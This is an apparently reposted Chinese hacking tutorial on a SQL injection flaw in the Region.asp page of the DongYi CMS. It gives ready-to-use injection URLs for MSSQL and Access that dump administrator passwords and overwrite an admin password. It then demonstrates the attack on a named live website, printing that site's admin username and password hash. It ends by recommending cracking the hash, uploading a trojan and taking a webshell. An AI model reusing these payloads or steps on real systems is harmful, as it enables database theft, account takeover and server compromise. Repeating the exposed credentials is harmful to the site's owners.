引用网安: 在Region.asp中有以下漏洞
Country = ReplaceBadChar(Trim(Request("Country"))) Province = ReplaceBadChar(Trim(Request("Province"))) City = ReplaceBadChar(Trim(Request("City")))
对所有传入的变量都进行了过滤,但是编程者在这里:
Set TempRs = Conn.Execute("SELECT Province FROM PE_Province WHERE Country='" & Country & "' ORDER BY ProvinceID") If Err Or TempRs.EOF Then ReDim ShowProvince(0, 0) Province = Trim(Request.QueryString("Province")) Else ShowProvince = TempRs.GetRows(-1) End If Set TempRs = Conn.Execute("SELECT DISTINCT City FROM PE_City WHERE Province='" & Province & "'")
大家可以看到,Province = Trim(Request.QueryString("Province")) 这里直接取的是传入的Province,而不是过滤后的,所以这个Province变量危险了,那么在下面他是直接带入了查询,由于Province变量是我们可以随意构造的,所以我们就可以构造我们的SQL语句。
但是要进入这个查询的前提是:Err=true 或者 TempRs.EOF,而要达到这2个中的一个,就是要让Conn.Execute("SELECT Province FROM PE_Province WHERE Country='" & Country & "' ORDER BY ProvinceID")这条语句在表中查询不到所要找的Country,这样就好构造了。下面是利用代码:
Region.asp?Country...tt&Province=shi'+and+user>0--
就是在
Region.asp?Country...tt&Province=shi'后面加上我们的SQL注入语句。
这就是整个利用原理,很简单,但也很致命的漏洞。
上面是MSSQL版本的利用,而如果要是ACCESS版本中的利用,那么怎么办呢,呵呵,聪明的你可能觉得我在说废话老,看吧。
http://127.0.0.1/Region.asp?Country...tt&Province=shi' and 1=1 and '1'='1
这样的话,我们的and 1=1就是在access版本中的利用。呵呵。这样就完成这个漏洞在2个版本的利用。
http://127.0.0.1/Region.asp?Country...tt&Province=shi'+and+1=2+union+select+password+from+PE_Admin+where+1<2+and+'1'='1
其中username是要暴的字段,哈哈,通杀的感觉爽吧
补充:
update PE_Admin set Password='13955235245b2497' where id=2--
如果不可以列目录就插管理员,但我喜欢直接update管理员密码,拿完shell后改回来,或去加一个
如果可以列目录就直接找web目录,然后用nb的getwebshell就可以拿到webshell了
下面我演示一下access版本的动易系统漏洞的利用,其实下面语句就是基本的注入语句。 用这个站作演示:http://www.173yz.com
还是一个游戏网! (1):先暴所有管理员帐号。 我们先在后面加入以后代码 /Region.asp?Country=tt&City=whytt&Province=shi'+and+1=2+union+select+username+from+PE_Admin+where+1<2+and+'1'='1 先暴所有管理员帐号。 管理员的密码出来了:admin (2)接下来我们先爆出管理员的密码
admin的密码: 7dc102e3a1309a39
这是MD5的你要以去www.md5.com去破解,然后去管理员页合登录后台,上传你的木马拿webshell 这个步骤我就不多说了,相信大家多去学习一下!
这样就可以精确的暴出相对应的用户和密码。admin (7dc102e3a1309a39) 好了这个教程就到这!!!
|